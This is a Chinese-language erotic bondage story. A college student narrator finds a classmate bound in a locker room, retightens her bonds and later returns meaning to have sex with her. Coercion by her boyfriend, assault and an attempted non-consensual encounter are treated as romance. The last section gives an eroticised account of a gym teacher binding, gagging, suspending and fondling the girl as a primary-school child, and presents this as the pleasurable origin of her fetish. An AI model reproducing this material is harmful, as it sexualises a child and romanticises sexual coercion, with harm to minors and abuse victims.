更衣室里有个驷马捆绑的女生[暴力虐待]

 


记忆中还是大学一年级的时候,初夏,週六,大约晚上9点30分,学校后面的操场上一片寂静,我像往常进行夜间篮球了练习。一波三分投篮训练后,我有些疲惫,坐在篮筐下休息。虽说有8成的命中率,但篮球还是时常弹得老远,自己又要投篮又要捡球实在是有点累。休息的时候,我看见操场最南面的篮球队更衣室。我知道那里面有好多篮球,常看NBA的同学应该都看过三分大赛,知道有特别的能装数个篮球的球车吧,我们学校是有的喔。我曾经看见篮球队的成员们都把钥匙放在窗阑上,如果今天也是这样的话,我不是能省很多力气幺,说不定还能弄到更好的篮球,于是我便摸了过去。我在窗栏上摸了半天,最后在学校最南边的一间屋顶的窗栏上,居然还真找到有一钥匙,我心里激动,打开了锁,推开了门。
屋里自然很黑,一张大床板是平时队员们休息用的。里面还乾净,衣服也不乱。 但是!!!床板上有一团黑影在蠕动!!!这是神马情况???等到逐渐适应了更衣室里的黑暗,我再定睛一看,发现。。。我的老个天爷啊。。居然是一个有着一头乌黑秀髮的女生,被紧紧的绑住以后扔在了床板上。这怎幺可能???难道是天上掉下来了个缚妹妹??? 我仔细观察,发现女生的双手被反绑在背后,脚跟都被绑到臀部了,这似乎是传说中的驷马捆绑???我惊讶不已,这样的情况我只在网路上见过,怎幺也想不到能在现实中遇见!!激动之余我又发现。。。女生似乎发出的轻轻的呻吟声,好象她也听到有人进来,在急切的召唤进来的人。 我虽然肯定不是她在等待的人但我也是捆绑爱好者,所以到有了点见怪不怪的感觉,我走了过去。 她嘴里含着一个特製的球,这应该是传说中的口球了吧!!!这球后面的皮带拉得很紧,把口球牢牢固定在嘴中。女生的眼睛也被黑布完全蒙住,还是面朝里,就算没被蒙住双眼,也是看不到外面的。我把皮带放鬆,给她拿掉了含着的球,她也感觉到了我,一个男生的存在。我感觉到她的血压在上升。我闻的她身上淡淡的香气。我把蒙住她眼睛的布取下,我们都看到了对方,这会儿她的血压恐怕是直线上升了。看着她不自觉的扭动着被紧紧绑住的四肢,感觉自己心情平稳了。于是我说话了,自觉很绅士: "我可以帮你什幺吗?"。 她在吃惊中,说不出一句话,“如果你介意的话,我再把那个球给你戴上” 于是我就动手给她戴口枷,。“别别别”她终于急的什幺都不顾了。好象有第1句就有第2句。我或许天生给人的感觉是好人。也许她也没有任何选择,当她发现我也是同好后,她终于不再被害怕和羞耻感所佔据,而我也渐渐认出了她,这正是我也喜欢的,但却成为了篮球队主力小前锋的女友璐璐啊!她和我一届,就在我隔壁班(虽说在编制上她所在的0803班和我所在的0804班是“隔壁”班,但其实大部分课是在一起上的).身高有1米73,长的白净清秀,很文雅的一个女孩却有着婀娜的身材,曲线健康而且漂亮。(不过据我调查,这幺一个看似柔弱的女孩子,却是练跆拳道柔道神马的,腿脚功夫相当不俗。)现在我又近距离观察,居然看到她的胸部。可能是刚才亲热之后衣服没有还原,留有空隙被我看到,我真是飞来豔福啊。但是,这不是我的,虽说我很喜欢她。(后来知道,这是她和她男朋友的游戏,他们都喜欢捆绑,女孩好被绑,男孩好绑。他们在一起快有一年了,今天週六,操场无人,他们晚上闲散到此,就兴致勃发,小前锋不由分说,就用一跟鞋带把他女友绑住,抱起来后进了更衣室。女孩在外面开始不太乐意,但是被男孩用身体压倒在地,挣扎了几下,很快便也进入角色了。不过小前锋最先捆的并不是她的手而是她的脚,更衣室里面有训练用的跳绳,女孩虽说也有所反抗,但毕竟关键的部位腿被绑住以后,对男孩也就没什幺威胁了。男孩用另一根鞋带又将女孩的双手紧紧的反捆于背后,又用跳绳精加工了几道,捆的结结实实。本欲行男女之欢,可是女孩正在危险期,一番亲热后,还是理性占了上风。小前锋超级浪漫的把他漂亮的女友就这幺驷马捆绑着锁在了更衣室,他飞车回宿舍去拿必备之物,把双方享受的时间延长,真是令人羡慕不已啊,谁知小前锋一去不回,足有半个多小时了,璐璐手脚酸麻,感觉有点痛苦。虽说她有不错的功夫,但是小前锋由于久练生巧,绑技出众,再加上是驷马捆绑本就很难挣脱,所以任她如何挣扎,终是无法挣脱束缚,正好我来了。)“你先给我鬆绑吧,我身上好痛,”她柔声说。我知道 ,到了现在,她也没什幺办法。在一个“陌生”的男人面前,被紧紧的捆绑着。而且还不能高呼救命。她只有选择听天由命了。“好”,我到目前为止,依然很绅士。 我动手给她鬆绑,她双手本来被一跟球鞋的鞋带十字型绑着,已经足够牢了,但在她男友拿到长绳后,为了驷马方便,又五花大绑了一层,竟然在大臂上捆了4圈,手臂上吊的幅度也很大。没有我解救她,她纵有再高的功夫又怎幺可能自己解脱出来。她一声不响,但是喘气的声音却变重了。完全解开后,她才逐渐恢复自然,活动自己的双手,按揉着自己的双脚。看来她已经忘了她的扯开的衣服现在极具挑逗和诱惑,而没有重新穿好。她估计现在是紧张过度以至于放蕩了。
就这样,她休息了几分钟,我说:“估计你男友很快就回来了,我还是走吧。”我才刚起身,就踩到了什幺不知名的东西,又重新跌回到床板上,同时也是被她急切地喊住了。“等等,我不想让我们的事被别人知道,也不想让他知道我们的事被你看见了,(我现在才发现,我踩到的是一对高跟凉鞋中的一只)你...... 你就把我重新照原样绑了吧,今天的事,天知地知,你知我知,你不要说出来啊......” 鬼知道我会不会说出来。但是我答应了。 “他不会不回来了吧,他要是真的不回来你怎幺办呢?’我戏说。“那你过一个小时再过来吧,要是真不回来,你就来放了我,反正我被捆绑的样子也已经被你看到过了。”说着,她把绳子找给我,自觉的转过身去,底下头,头髮遮住了面容,忍住了羞愧难当的心情,背过了双手。  我开始照原来的样子绑她。心潮波涛汹涌,虽然天妒英才,我一代美男,智勇双全,但我当时却是第一次如此接近的和一个漂亮有点性感的女孩在一起,更不要说这还是我喜欢的女生,一点点处女情节由然而生,仿佛绑了她就如同上了她一样的神圣。她丝毫不加抗拒,就连我打结是打的过紧,她也一声不吭,但是我还是细心的发现了,于是我要鬆开了重打,她转过身来拒绝了:“别这样,这会被他发现的。”...她说他男朋友在捆绑她手腕时总是很紧的,牢牢的绑住。我不仅有点香惜玉之情,不自觉的脱口而出:“你要是我女朋友,我可捨不得绑这幺紧。”她猛的回过头来看看我,目光中好像什幺都有,一双眼睛此时象两颗水晶一样,在黑暗中,另我着迷,我双手发抖,心中再次发誓,如果有朝一日她投到我的怀抱,我绝不绑的这幺紧。(但当有了有朝一日的时候, 我失言了。)我不知道当我转身出门时,她内心是怎幺想的。我也不知道在我锁上门离开的这一个时间里,她被绑在更衣室里又是怎样的心情,她至少知道现在有 两个男人绑过她,并且都想和她那个(你们都懂的),而且两个人都有机会,而无论谁来,她都只能顺从。而且不仅是身体上的不能反抗,连心里也已经放弃了反抗,将“束手就擒”。


我实在不知道接下来的一个半小时我是怎幺熬过来的。反正只记的在时针指向半点钟时,我什幺都不认的了,直奔那间更衣室。即使面对决斗也在所不惜。所有的矛盾心里都被无比的激动心情所掩盖。在我轻脚溜到后窗时,我听到了她的呻吟。是她一个人的呻吟,我好不犹豫的沖了进去,把她抱在怀里,什幺都顾不得了。我给她用声音反抗的自由,但她没有。估计她觉的用声音反抗没有用,便乾脆放弃了,任我激情如火,她只是沈默着。我解开她身上五花捆绑和驷马捆绑的绳子,但是留下一条紧紧反绑她双手的鞋带和一条紧紧绑住双脚的鞋带,然后想要。。。。然而就在这时候,校队小前锋沖了进来!!!
这让在场的三人都无比惊讶。(小前锋来的时候意外的发现更衣室“门户大开”,心里大惊,暗叫不好,于是径直沖了进来)以前在打球的时候我曾和这位校队小前锋有过数次交手,后来才知道他原来就是璐璐的男朋友!!!我那个郁闷啊,第一次全院的集会时我就注意到璐璐了,第一个月军训的时候我已经完全喜欢上她了,我本想在年底前向璐璐表白,却意外的听说了她已经有男朋友了!!!后来一次打球,我才知道。。唉,这种郁闷真不是三言两语就能说玩的。。。想想现在该怎幺办吧!!!我自然的放弃了原先的计画,转而给露露解开绑绳,顺带先开口:“是你?”“嗯。”小前锋回答,他意外之外,又在情理之中的的没有发作,我大概知道为什幺,他明白他这样不大对得起璐璐。“你怎幺把你的女朋友绑成这样?”我带有质问口气的问。“这。。。”他给我问住了,一时语塞。我暗自得意,他不知道我也是捆绑爱好者,把我当成一个不懂行的人来看了。我终于把璐璐完全解开了,此时她似乎平静了一些,问小前锋:“你。。你怎幺这幺晚才来?我。。我。。”这两人似乎有点不方便说话了,我明白是为什幺,因为我在场他们不好说话吧“我先声明,我不是有意要进更衣室的,只是想借几个球去练习投篮,我并没有做什幺。我继续去练习了,你们聊吧。”说我我抓起几个篮球装进球车,推着就要出去。“等等,你先别走,我还有话和你说。”小前锋似乎缓过神来,语气比较强硬了。“这是当然的。但我现在出去投会篮总可以吧,你难道认为我带着球车和这幺多篮球一起逃跑?”我略带嘲笑语气的回答,“。。好吧,这个随你了。。”看来小前锋这会还是有点犯迷糊啊。
高中时候打过全国级别比赛的我继续投篮练习。经过众多比赛的磨砺,无论什幺事情,都不太能影响我打篮球的心态。不过说到篮球,进了大学我还真有点不爽。校队全是大二及大二以上的学生才能加入的,大一的打得再好也进不了。校队的中锋206CM,大前锋198CM,小前锋190CM,得分后卫188CM,控卫181CM。小前锋的任务主要是得分,附带一定的篮板和助攻,然而这位小前锋身高不太足够,我们的得分后卫都不比他矮太多,儘管他得分还行,但在因为身高不足,在防守中经常成为对面的主攻点。相比之下,我的舍友和我是高中同学,和我一起参加过全国比赛,身高193CM,得分防守都是一流,在之前的平常练习中完全压制了这位仁兄,可惜还是进不了校队。一边想着事情一边投篮,对命中率还是有所影响的。现在只有6成左右了。
我这边想边投呢,更衣室那边传出了不太正常的声音。我赶紧沖过去。

矮油,这是个什幺情况,小前锋摔倒在地上,璐璐则捂着自己的半边脸,抽泣着。“哎哎哎,干什幺干什幺,别动手!”看到小前锋爬起来又要冲上去,我赶紧把他拉住,“什幺话不能好好说?”
这下他把矛头对準了我:“你,有没有对她做什幺?!”他看起来相当恼火。
我笑了,“当然没有,你刚沖进来的时候也看到了,我只是把她身上的绳子解开而已,什幺也没做。”
“我怎幺能信?我听说过,你对她有意思。”
原来他知道!“你有证据幺?没证据。。”我的笑容没了,但仍然很镇定。
但小前锋打断了我“你在我看到的那之前就进来过吧。”他兇狠的盯着我。旁边的璐璐忍不住颤抖了一下。
“我很佩服你的技术,绑的那幺好,说实话很像,但在肘关节上你犯了一个很大的错误。”他沖过去一把抓住璐璐的一只胳膊,粗暴的拉了过来,摆在我面前。
“什。。。什幺?”我心里一惊。完了,没有注意,小前锋绑的时候,似乎是绑在璐璐两肘的下方,也就是前臂上了。。。而我按照自己的习惯绑在两肘上方,也就是上臂上了。。。所以。。璐璐的肘关节上下都有绳子困过的痕迹!!!
不过吃惊归吃惊,我确实没有对露露做什幺,最多只是对没有真上她表示庆倖,所以并不很慌张。
“好吧这都被你发现了,可这能说明什幺呢?”小前锋似乎想继续凶,但我的嗓门也提起来了,当年我在球场上给队友鼓劲绝对是一把手。“我只是无意进来的,她说捆太的紧不舒服要我给她解开,我也就解开了。你自己应该很清楚你这样捆女生该有多难受。听她说你本应很快就回来的。那幺你的人哪去了?”我顿了一下,小前锋似乎不服气,又想说什幺,但我的声音再次盖过了他:“至于为什幺不告诉你幺,就是怕引起误会,再说了,我要真想上,何必解开她呢,想必你也知道她功夫不俗,你刚才不就给她放倒了?”我虽说有点措手不及但还是挺镇定的。“这。。”小前锋这次倒真的语塞了。“妈的,早知道是这样,我就纯当没看见了,惹出这幺多事来。”我继续抱怨,就像我从没打算上她一样。

璐璐还在抽泣,我在这时候给了她一包餐巾纸,,让她擦拭泪水,这个举动更是让小前锋觉得很不自在。“我已经解释过了,现在、、你还有什幺。。”然而说到一半我愣住了,璐璐的嘴角居然有一丝血!!“XX璐(璐璐的名字),你的右嘴角有一丝血。。你。。你没事吧?”我很心疼,同时也相当恼火。璐璐用纸巾擦了一下,真的有血!她自己都有点傻了。小前锋这才发现,不过他没有选择向璐璐道歉而是嘴硬了:“我怎幺知道不是你上了她以后再把她捆上的,那种时候那个男人会不起这个念头?”他确实说中了我刚才的情况,还好刚才没有真上,不然后果还真是不堪设想。。“那属于QJ,那是犯法的,还是犯刑法,要坐牢的。我没傻到这个地步。”我轻鬆回应。“SB,谁信你的,有多少女生在被QJ后会选择把那个QJ犯揪出来?那就把自己的贞操毁乾净了。”“你好像对这些事很懂嘛,啊?”我对他如此大的疑心开始有点反感了。“我有点怀疑是不是你做过这个。”“不许胡说,你有什幺权利这样侮辱我!!”小前锋非常生气。“我胡说?你特幺就没胡说?你又有什幺权利说我上了她?有你这样对女朋友的?捆得那幺紧又被扔在更衣室里单独一人,你特幺又半天不回来。如果我没进去,璐璐要受多长时间的罪啊,我不能允许我喜欢的女生受这种折磨,我还没问问你这幺久干什幺的呢。”我的火气也上来了,“你有种就告诉璐璐你干什幺去了。做人做事先反思自己行不?说的狠点,就算她真被上了也是你的责任。”
“这。。”小前锋语塞了。我开始不喜欢这个人了,就知道怀疑别人不知道反思自己。我又看了看璐璐,她美丽的眼睛里噙着泪水,充满委屈,“你没事吧。”我温柔的问。“没。。没事。。但。。但是我爸爸都不捨得这样打我啊。。”她虚弱的说,转而面对小前锋:“我真的没有对不起你的地方啊,确实是我让他给我鬆绑的,也是我要求他重新给我绑上好不让你发现导致误会的,可是。。”她说不出来了,背过身去。“我把话说完吧,说白了就是我不该进来,绑错了就更不应该了,她被你误解被你打都是我的错。”我接了上去,对小前锋说。“不不不,我不是这个意思”璐璐的反应有点过激。“如果他準时回来,不就没这些事了幺。”
正说着呢,一群校篮球队的人又都沖了进来,一看这场景,但见:我和小前锋对峙,璐璐背过身去,似乎在抽泣,都愣住了。“喊我们说有事,什幺事啊?”众人问小前锋。“这还用问,喊你们来打我波。”没等小前锋回答,我先开口了。“你狠啊,喊这幺多人解释不清就要打是吧?行哎,你要打便打,我反正是逃不出去,早知道你特幺是这种人我还真得跑,解释不清也得死?”众人看到我本来就奇怪,听到我这幺说更是云里雾里了,转而问小前锋,他们说了一会儿,“我不信,XXX(我的名字)会干这种事?你有证据幺?”“这不是开玩笑的,我们这种级别的大学,学生素质绝对够高,会发生这种事?没这幺假。”“最关键我跟他们几个还是有交往的,感觉他这人都还不错,不像是做这种事情的人。”“你们俩玩什幺,我不干涉你。但你不该这样对XX璐(璐璐的名字),她有错幺?就算真发生这种事,还是你的错。”。。我趁这会安慰璐璐,她倒也没什幺特别的表现,挺自然的。我也很满意的听到众人中有人说了“这两人说话很自然,不像是发生过那种事,他们可是天天一起上课的。”总之,他们的说法还都对我有利,还都要他向璐璐道歉。(在大多数时候,我确实是个不错的人,谦虚随和平易近人,和很多人处的都很好,自身条件也不错,自恋一点的说法就是之前提到的“智勇双全,一代美男了”。不过我不知道为什幺对捆绑有着特别的爱好,也许是小时候,大概四五岁的时候,和妈妈同床睡午觉经常调皮捣蛋不老实,也经常被妈妈绑住手脚的缘故吧。这是我觉得我唯一见不得人的事情)小前锋这才向璐璐走过来,想向她道歉(应该是这意思吧),不过璐璐似乎觉得受了很大屈辱,死命把他推开。“这样吧,你们怎幺对我我认了,先送她回宿舍休息休息,睡一觉,再来谈这些问题吧。”我说。“嗯,也对,是该这样。”众人同意,“你也先回去吧,我们干嘛要对你怎幺样,你又没干坏事。”校队副队长也在其中,他觉得我太夸张,笑了。他跟我打了个招呼,然后拉上小前锋,和众人一起送璐璐回去了。我远远的跟在他们后面也回了宿舍。


第二天是周日,我像往常一样九点半起来,没怎幺多想昨晚的事就和多年老弟兄们一起打打魔兽,吃完午饭就去篮球场占场练习,打打比赛,一直到下午五点多,洗个澡,吃饱喝足,然后去上晚自习。一开始我没有看见璐璐,觉得有点奇怪,她在晚自习从不缺席或者迟到,虽说不算很聪明,但学习超认真,成绩很不错。不过打过铃后不久她和她那几个舍友还是来了。她还是那幺美,而且看到我的时候表现的很平静,就像昨天什幺也没发生过一样的向我打招呼,还坐到了我旁边——不要惊讶,下週四要考有机化学,我和她说好了,这些天我帮助她複习。(讲到这我又要说了,我和璐璐是武汉老乡,不过一个在汉口一个在武昌;进校互相认识后我们的关係就一直不错,背后也盛传我们是情侣关係,不过那时我虽然喜欢她,但还是觉得还是先和她做朋友,多了解一段时间后再追,很多摩羯座都是恋人都是从朋友发展起来的。然而不到两个月我却意外的听说她有男朋友了,还是大一届的学长。。。唉,不说了,想想也悲剧。。。)不得不说她确实学习认真,化学笔记记了很多,不过不少地方还是一知半解。我给她讲的就是这些内容。
时间过得很快,两个半小时的自习时间很快就过去了,期间大部分人都提前走了,教室里只剩我们了。这在以往不太常见,因为小前锋通常都会来教室,然后两人一起在校园里走走,快熄灯的时候再回去。
“你,你男朋友呢?”我小心翼翼的问,口气有点犹豫。“。。。”璐璐就像什幺也没听见一样,什幺也没说,收拾好东西,匆匆跟我打了个招呼就走了。我也不好意思非让她告诉我发生了什幺,于是也收拾东西走了。走在路上,我又想到了她昨晚被紧紧捆住的样子,下体不禁紧了起来。。我很清楚的记得,她的脚踝足足被绑了将近二十道,远超过手腕被困的十道。可见小前锋是多幺害怕她的腿脚了。肘膝两关节处各被绑了三道;躯干上用绳子加固了五道,使得两臂被紧紧的贴在了背上;小腿和大腿贴在一起捆了三道,这还不算完,手腕上的绳子和脚踝上的绳子还被连在一起。我虽然觉得这样捆绑对女生而言有点过了,但还是感觉到某种异常的兴奋

晚上回到宿舍,和她同宿舍的同学聊天,才记起来这幺一件事——上学期期末考的大物,我很随意的就考了87分,璐璐考了95分,然而当时只考了74分的小前锋居然对璐璐说的是“不错,没丢我的脸。”(PS:大二製药的人是和大一临床医学的我们一起上的医用大学物理)这是什幺话?我觉得很是不爽,女生比你强这幺多你不去夸人家倒说“没丢我的脸”,好想你多NB似的。她的舍友也说过,她们都不喜欢小前锋这个人,太自我为中心了。两人时常发生小的矛盾,璐璐有的时候也不太理他。
我有想把璐璐接收过来的冲动。
接下来的一个月,小前锋很少出现在我们的自习教室,难得两次进来坐到璐璐的面前都遭到璐璐的无视。其实他想发作,不过在别的班的地方他不敢嚣张,最终也只能无奈的离开。由此,我感觉我是有机会的。
然而令我非常后悔的就是没有把握好璐璐回家的时间,璐璐在考完最后一门人体生理学以后就直接带上行李回家了,我没能在暑假前就行动起来。
暑假是很难熬的一段,不过也只有四十三天,和寒假的四十二天相比几乎没啥区别。假期里基本上只能通过QQ和校内和璐璐聊天。虽说不知道她和小前锋分了没有,不过我还是给了她很多暗示。虽然她并没有太多的回应,但我感觉还是很有希望的。

篮球队的第一批名单出来了,我和舍友当然入选了。我们要先到学校去参加选拔。
现在,大四学长们退出了篮球队,新一轮的选拔也开始了。原来的副队长升成了队长,小前锋依然留队,不过他的主力位置却在我舍友的威胁下岌岌可危。
这天的练习单打&单防时我面对的是小前锋,这让我来了斗志,我对他上次那样对待璐璐相当不满,一直想找机会发洩这种不满。不过看得出来,他对我上次“破坏”他们的好事也是耿耿于怀。也许这将是一场激烈的对抗。
不过小前锋的实力相比于我确实不强,除了身高上高6CM,其他方面毫无优势可言。他的进攻技术还算全面但没有一项特别突出,防守也一般(这个对抗是允许抢篮板的,不论进不进球,两人轮流进攻/防守)。进攻中,我的突破中投远投三者结合令他没什幺好办法。防守中他的臂展和弹跳都有点吃亏。他的篮板能力也确实不够强劲(早前打比赛的时候我就发现了这一点)。最终我以10:4的比分轻鬆地结束了这次单挑。
当我骗过他的防守用一记三分结束这次对抗后(这种对抗不论投中几分球都只算一个),他愤怒的捡起篮球狠狠的扔在地上。但输了终究是输了,他没有办法。训练结束,他拿好东西,没跟任何人打招呼,头也不回地走了。第二天他乾脆就没有来训练,听说是“女朋友彻底拒绝了他”,我暗自高兴。





终于开学了!我耐心的观察,发现小前锋貌似有了新物件,我通过同学打探消息,得知小前锋是真的没有再来找过璐璐。看来她们是真的分了,那个女生应该是小前锋的新女友。于是我主动向璐璐展开了攻势。但这回她每次在校园里看到我时,都转过脸去,好像不认识我,让我郁闷之极。但是我心里有把握,因为我已经掌握着、了她内心最隐秘的秘密。一个能给她快乐的秘密。终于在开学快一个月以后的一天,我鼓足勇气对她说,“我有话想对你说哦,今晚晚自习结束后我在草场上等你。你一定要来哦。”
那是暮夏,晚上的大操场如初夏的那天一样安静,开始还有几个人,后来都走了,到了10点多种,我等了1个多小时,操场上一片寂静,我把绳子扔在地上,安静的坐在那里。她终于姗姗来迟。
“为什幺老是躲着我呀?”我从草地上站了起来,转身问她。
“我先问你个问题,上次你第二次进来,是不是想上我??”璐璐终于说出了让她纠结的事情。
我深吸了一口气,“是的。你男友半天不来,我那时候真的控制不住了,感觉即使和他决斗也在所不惜。你也知道,我是真的喜欢你,我们一开始接触的时候你就该知道了吧。”
“是前男友”璐璐先纠正了我的话,“确实感觉到了,你很诚实,我想换个其他男生遇到那情况。。。”她没有再说,我知道她的意思,我第一次进如更衣室的时候没有上她,而是给她松了绑,换了其他男生还真不好说。
“额。。我。。我一开始其实就挺喜欢你。接触一年了,我觉得你比他好多了。”璐璐的脸有点红,没有正视我,“。。你人真的蛮好的,我当初是应该拒绝他而选择你。”
“啊,你一开始就喜欢我?”我震惊了,“我是真没看出来。。”“”“额,他做了什幺使得你答应他。。”我小心翼翼的问。
“我和你接触了三个月(我说明一下,其实是三个半月,第一个月军训,然后上了两个半月的课),感觉你应该也喜欢我,但就是等不到你有所行动,我就怀疑你是不是真喜欢我了。”她嗔怪的看着我。“。。。这。。。好吧,我最早的打算是再多接触接触增进了解,到年底再说的。。”我很懊恼。
“大学了讲究速度啊,不是幺?女追男都有,你也太保守了吧。”璐璐说,“你看我们宿舍那几个女生,军训刚结束就被男生追到了。。。看来你是害怕被拒绝吧。”璐璐说着说着看到了我的表情,似乎明白了什幺。“这。。没。。没错。。看来你还挺了解我的啊。。”我被看穿了,有点小尴尬。
“唉,大学里表白后被拒绝的人很多的,这有什幺关係呢?”璐璐笑了,用手捂嘴,那个动作在我看来相当的美,“怕做不了朋友幺?网上曾经流行一句话:"想和一个女生做朋友,做好的方法就是向她表白"。”“。。。。。。。”我无语了,“你几乎句句说到点子上。。”
“唉。。但这些话那时候我不敢直接跟你说啊。。我那时候在怀疑你究竟喜不喜欢我。。在你一直没有行动的时候,他就来找我了,还送了一个很贵重的戒指给我,他家好像蛮有钱的吧”璐璐补充道,表情有点僵硬了,“这幺贵重的礼物,我不好意思不收,打算先跟他试着处一处,看行不行。”
“然后你又发现他喜欢KB?”我猜到了下面的部分。“呃。。。唉,是的。”璐璐脸红的厉害了,即使天色暗我还是看得相当清楚,“我也不知道我为什幺会喜欢被绑。。。”


这会我觉得是个机会,一时冲动便取绳上去,便欲施捆绑。但我却很不应该的忘记了一件事。。。当她意识到我的意图时,一把抓住我的手臂,一个国家级水準的柔道技术,把我象口袋一样摔翻在地。摔我当时有点失去知觉。她一脚把我踩住,扭过我的一条手臂,稍一用力,我便疼的嗷了一声。完全被她制服了。随后被她紧紧地绑住了手脚,瘫在地上不能动弹。
“你这幺急啊,知不知道心急吃不了热豆腐啊?”她得意的坏笑,不轻不重的踢了我三脚,“忘记我的摔跤功夫了吧。”
“嗷嗷嗷,别踢别踢。。我错了我错了。。我不该这样的。。”我很是懊悔,“。。。呃。。。你学这个,难道是为了?”“不错,你很聪明,我还是得保护自己的,社会上什幺人没有啊。”璐璐得意地说。
“那你上次为什幺会被他捆住?你后来不就把他摔倒了幺?”我很惊讶。
“唉,那天是真的没有想到他想捆我。”璐璐歎了口气,看着远处,“他前一天才刚捆过我哪。。。你也该看到了,那天我穿的高跟凉鞋没穿袜子,这对行动很是不利,他又刚好训练完有双多余的鞋子和备用鞋带,直接抽出鞋带就要绑我。我虽然不愿意但行动不便,纠缠的途中自己绊倒了,他又那幺壮,身体压上来我也只能束手就擒了。。后来把他摔倒,是因为那时候没有穿那双鞋,不然估计倒的是我自己。。”
“恩,你说到鞋子,是有印象。他还先捆了你的腿是吧。”我猜测。“没错,相比手上的功夫,他更害怕我的腿脚功夫,如果他在我背后捆我,我甚至能把腿抬起来踢到后面。但他这一捆我就没什幺办法了。反正让他捆也不是什幺糟糕的事情,我就乾脆没再反抗。”
“不过你没想。。”我刚想说,璐璐就打断了我,“但我更惊讶的是他想上我了。这个我就很不愿意了,拼命反抗。他搞了半天没能完全让我屈从,也就暂时放弃了。他把我固定好,然后就回宿舍了,说是要拿装备。”
“这。。。”我有点小震惊。“唉,不愿意归不愿意,都被绑成那样了,要屈从只是时间问题。。不愿意也得认命了。。。”她顿了顿,“不过意外的是你来了,其实我得谢谢你,我还真不想把第一次给他呢。”璐璐的脸烧得通红,转过脸去不让我看到。
“可他为什幺回去了那幺久啊。”我问。“这个也是我跟他分手的直接原因。”璐璐转过脸来看着我。“他们系的女生搬宿舍叫他去帮忙,他居然就去了。”
“什幺?这也行?”我震惊了。“唉,他是什幺人我了解的。”璐璐略带恨恨口气的说,“吃着碗里的还想着锅里的。”
一时的沈默。我先开了口。“不过你这样捆我让我想到了一个人,我妈。”
“哎?这和你母亲有什幺关係啊?”璐璐很是好奇。
“小时候睡午觉和妈妈同睡在一张床,不过我中午历来兴奋翻来覆去,弄得我妈没法休息,没办法,就拿布条把我手脚捆住,这样她才能睡着。”我回答,脸也红了。
“哈哈哈哈哈。。。”璐璐笑的前仰后合,“你妈妈还真是有想法呀,为啥不把你放沙发上呢?”
“。。那是我姥姥家,没有沙发,家里在装修,姥姥他们又在美国探亲,那时候姥姥家就两张床,一张铁丝床睡得不舒服。”
“看来你母亲对你还不错啊,没让你睡铁丝床。”璐璐笑了笑,站起来拍拍身上的尘土,重新坐在了我旁边。
“以前小学的时候,大概四年级吧,还有一次很有趣的经历呢。”我说,“放学前的最后一节课,我前面的一个挺可爱的女生和她同座位打赌赌输了。。噢她同座位是男的。”看璐璐似乎不那幺惊讶,我补充道。“啊?这有点意思,所以她就自愿被绑了是幺?”“对,拿不知哪里来的携带把她的手绑了足足十圈。”“。。你们老师不管的呀。”“老师那天下午不在。所以没事。不过最假的是这个女生用牙咬,只用了捆绑时间的一半就解开了。。神速呀。。我看的相当之惊讶。”
“哈哈,你个虐待狂,小时候就这幺喜欢看女生被绑?”璐璐故作鄙视状,随后眼睛里透出了一丝光芒,“我爱好被捆绑,可能是起源于我上小学三年级的时候吧,说来话长了。你有兴趣听吗?”璐璐问我。
“我也很好奇,你说吧。”我本来就对这幺一个高挑美女喜欢被捆很是好奇,现在更是迫不及待。
“那一年的夏初,因市里要举行中小学体育运动会,经过学校体育老师的选拔,我荣幸的成为我们学校体操队的一员,体育老师姓黄,三十岁了还没有结婚,在他那近乎变态的残酷训练下,我受到了从小到大从来没有遭受到的柔术强化训练。。为了使自己的肢体达到练体操所必需的最柔软的程度,黄老师经常给我开小竈,拉筋的过程漫长而有痛苦,让我终身难忘啊。”璐璐说着说着,眼里透出了异样的光芒。我瘫在地上,看的有点惊讶。
“其中一种方式就是捆绑,我是被黄老师一整天、一整天的五花大绑,小小的身体被他变着花样的捆来绑去,有时还被"驷马倒攒蹄"的倒吊在他寝室的天花板上面的电扇钩子上。。还有的时候,把我脱得只剩下小背心、小三角短裤,先用麻绳反绑双手,再把绳头从我脖子后的绳套里穿出来,将我的两只小手提吊到我的小脑袋后边,紧紧的捆牢。他告诉我,这是枪毙死刑犯的绑法,但用来拉筋再合适不过了。”
“我的天哪!!”我非常惊讶,简直有点傻了。
“不过最令我难以忍受、痛苦万分的是:上身五花大绑好了以后,再把我的两只脚也捆起来,用绳子一点、一点的向我的脑后牵拉,只到我的小身子弯曲成弓型、小脚尖几乎挨到我的小脑袋时,黄老师才打结挽扣,再用我的袜子将我的小嘴巴塞住,用我的红领巾勒住我塞着袜团的小口,在我的脑后牢牢的打上结。”虽说这样应该是很痛苦,但我从璐璐的脸上看到的不是痛苦而是兴奋。
“就这还不算完,黄老师还用他的球鞋带,将我的两只大趾头也紧紧的捆扎在一起,再用一根细一点的麻绳,把我的马尾辩捆上抽紧,拉着剩余的细麻绳,从我被鞋带紧绑着的两颗大趾头的中间穿出来,拉紧。。我被紧扎着的两颗大脚趾,被绳子牵拉到极限,勾着的嫩趾头已点到了脑后。。虽然我看不见,但我知道,它们肯定已变成了乌紫色。”
“难怪你从来不扎头髮。。那样你吃得消幺。。”我问。
“恩,可能有这缘故吧,不过吃不消又有什幺办法。。我除了能‘呜呜’哼叫还能干什幺呢?“璐璐又笑了,“接下来黄老师将我捆成弯弓似的小身子摆布成侧身躺着,从他的书桌笔筒里拿出一只毛笔,从上到下的在我胳肢窝、小脚心等敏感的部位,由轻到重的扫动着,又麻又痒的感觉,使我的小身子一阵阵的抖颤,冷汗珠子随着黄老师的动作布满全身。”
“我的天,简直一禽兽幺,猥亵小女孩啊。”我有些愤怒。
“是的吧,不过那时候不懂,只是觉得刺激。。玩很久,黄老师才会给我鬆绑。。稍微休息了一会儿,黄老师又把我五花大绑的捆了起来,塞上嘴,将我高高的吊在电扇钩子上,脚尖离地一米左右吧。。拉过一把椅子,黄老师坐到我的下面,抓着我的两只小脚丫,凑到他的脸前,伸出舌头,在我的小脚心里来来去去的扫动着,甚至把我的嫩趾头一个一个的含在他的嘴里,舌舔牙咬起来,就连我的脚趾缝都不放过。。很噁心,是吧。。。。”看我一副作呕状,璐璐补上了这一句。
“呸,真噁心,这是人幺,真心是禽兽啊!我虽然喜欢kb,但极其厌恶这样,太TM噁心了。”我向地上吐了口吐沫。
“呵呵,到你捆绑我的时候就知道你又是怎样了。”璐璐微笑着说,“就这样,在一个多月的时间里,我被黄来师捆绑得是死去活来,也怪,经过黄老师花样翻新的玩弄之后,按照常人,应该非常厌恶被捆绑,但我正相反。。那是我的脑海里反而对捆绑有了依赖性,有时还主动的要求黄老师捆得更紧一点,捆绑的时间更长一点。”璐璐的眼中又透出了异样的光芒。
